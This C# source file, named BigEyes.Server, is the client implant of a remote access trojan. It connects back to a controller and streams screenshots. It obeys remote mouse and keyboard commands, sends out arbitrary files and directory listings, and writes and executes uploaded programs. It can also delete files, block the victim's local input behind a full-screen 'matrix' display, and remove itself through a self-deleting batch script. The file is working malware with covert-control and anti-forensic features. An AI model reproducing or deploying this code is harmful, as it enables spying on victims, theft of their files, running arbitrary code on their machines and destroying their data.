using System; using System.IO; using System.Net.Sockets; using System.Net; using System.Diagnostics; using System.Threading; using System.Collections; namespace BigEyes.Server { public class Server { private NetworkStream _stream; private Thread _listenThread; private Thread _sendThread; private AutoResetEvent _sendBlock; private UserCapture _userCapture; private Queue _messageQueue; private string _pushPath; private BinaryWriter _writer; public delegate void Invoker(); private delegate void printChar(char c); public event Invoker Error; private Matrix _matrixScreen; private Thread _matrixScreenThread; private Disabler _disabler; public Server(IPEndPoint ip) { Socket socket = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); for(;;) { try { Debug.WriteLine("Trying to connect..."); socket.Connect(ip); _stream = new NetworkStream(socket); break; } catch { Debug.WriteLine("Failure. Sleeping..."); Thread.Sleep(1000); } } Debug.WriteLine("Connected!"); _userCapture = new UserCapture(750); _disabler = new Disabler(); _messageQueue = new Queue(); _writer = new BinaryWriter(_stream); _listenThread = new Thread(new ThreadStart(listenThread)); _listenThread.IsBackground = true; _listenThread.Start(); _sendBlock = new AutoResetEvent(false); _sendThread = new Thread(new ThreadStart(sendThread)); _sendThread.IsBackground = true; _sendThread.Start(); Debug.WriteLine("Threads started."); } private void sendThread() { try { while(true) { _sendBlock.WaitOne(); byte[] image = new byte[0]; while(image.Length==0) { image = _userCapture.GetDesktopBitmapBytes(); if(image.Length != 0) { _writer.Write((byte)0); _writer.Write(image.Length); _writer.Write(image); _writer.Flush(); } Debug.WriteLine("Sent screenshot."); Thread.Sleep(100); } } } catch { errorOut(); } } private void listenThread() { try { BinaryReader reader = new BinaryReader(_stream); while(true) { switch(reader.ReadByte()) { case 0: _userCapture.MoveMouse(reader.ReadInt32(),reader.ReadInt32()); Debug.WriteLine("Mouse move."); break; case 1: _userCapture.PressOrReleaseMouseButton(reader.ReadBoolean(),reader.ReadBoolean(),reader.ReadInt32(),reader.ReadInt32()); Debug.WriteLine("Mouse click."); break; case 2: _userCapture.SendKeystroke(reader.ReadByte(),reader.ReadBoolean(),reader.ReadBoolean()); Debug.WriteLine("Keystroke."); break; case 3: _sendBlock.Set(); Debug.WriteLine("Picture request."); break; case 4: string path = reader.ReadString(); if(File.Exists(path)) { bool file = false; try { FileStream fs = new FileStream(path,FileMode.Open,FileAccess.Read); byte[] bytes = new byte[fs.Length]; fs.Read(bytes,0,bytes.Length); fs.Close(); file = true; _writer.Write((byte)2); _writer.Write(Path.GetFileName(path)); _writer.Write(bytes.Length); _writer.Write(bytes); Debug.WriteLine(String.Format("Sent {0}.",path)); } catch(Exception e) { Debug.WriteLine(e.Message); if(!file) { _writer.Write((byte)2); _writer.Write("error"); } else { throw e; } } } else if(Directory.Exists(path)) { _writer.Write((byte)1); try { _writer.Write(String.Join("\n",Directory.GetFileSystemEntries(path))); Debug.WriteLine(String.Format("Sent directory {0}.",path)); } catch(DirectoryNotFoundException) { _writer.Write(String.Empty); } catch(UnauthorizedAccessException) { _writer.Write(String.Empty); } catch(ArgumentException) { _writer.Write(String.Empty); } } break; case 5: try { path = reader.ReadString(); FileStream fs = new FileStream(path,FileMode.Create,FileAccess.Write); byte[] b = reader.ReadBytes(reader.ReadInt32()); fs.Write(b,0,b.Length); fs.Close(); if(reader.ReadBoolean()) { _pushPath = path; new Thread(new ThreadStart(processWait)).Start(); } else { try { System.Diagnostics.Process.Start(path); } catch { } } Debug.WriteLine("Wrote and executed process."); } catch(UnauthorizedAccessException){} catch(System.ComponentModel.Win32Exception){} break; case 6: try { path = reader.ReadString(); if(File.Exists(path)) { File.Delete(path); } else if(Directory.Exists(path)) { Directory.Delete(path,true); } Debug.WriteLine(String.Format("Deleted {0}.",path)); } catch(UnauthorizedAccessException){} catch(System.ComponentModel.Win32Exception){} catch(System.IO.DirectoryNotFoundException){} catch(System.IO.FileNotFoundException){} catch(ArgumentException){} break; case 7: Debug.WriteLine("Removing big eyes."); try { StreamWriter sw = File.CreateText("selfdelete.bat"); sw.Write(":Repeat\ndel \"{0}\"\nif exist \"{0}\" goto Repeat\ndel \"selfdelete.bat\"", Environment.CommandLine.Replace("\"", "")); sw.Close(); Process.Start("selfdelete.bat"); Process.GetCurrentProcess().Kill(); } catch(System.Exception e) { Debug.WriteLine(e.Message); } break; case 8: Debug.WriteLine("Loading matrix screen."); _disabler.Start(); if (_matrixScreen != null) { _matrixScreen.Kill(); _matrixScreen = null; } if (_matrixScreenThread != null) { System.Windows.Forms.Application.Exit(); try { _matrixScreenThread.Abort(); } catch { } } _matrixScreenThread = new Thread(new ThreadStart(matrixScreenThread)); _matrixScreenThread.Start(); break; case 9: Debug.WriteLine("Killing matrix screen."); _disabler.Stop(); if (_matrixScreen != null) { _matrixScreen.Kill(); _matrixScreen = null; } if (_matrixScreenThread != null) { System.Windows.Forms.Application.Exit(); try { _matrixScreenThread.Abort(); } catch { } } break; case 10: if (_matrixScreen != null) { Debug.WriteLine("Writing to matrix screen."); _matrixScreen.Invoke(new printChar(_matrixScreen.CharPress),new object[] { reader.ReadChar() }); } break; case 11: Debug.WriteLine("Disabling local input."); _disabler.Start(); break; case 12: Debug.WriteLine("Enabling local input."); _disabler.Stop(); break; } } } catch { errorOut(); } } private void errorOut() { if (_disabler != null) { _disabler.Stop(); } if (_matrixScreen != null) { _matrixScreen.Kill(); _matrixScreen = null; } if (Error != null) { Error(); } } private void matrixScreenThread() { _matrixScreen = new Matrix(); System.Windows.Forms.Application.Run(_matrixScreen); } private void processWait() { string loc; lock(_pushPath) { loc = _pushPath; } try { System.Diagnostics.Process.Start(loc).WaitForExit(); File.Delete(loc); } catch { } } } }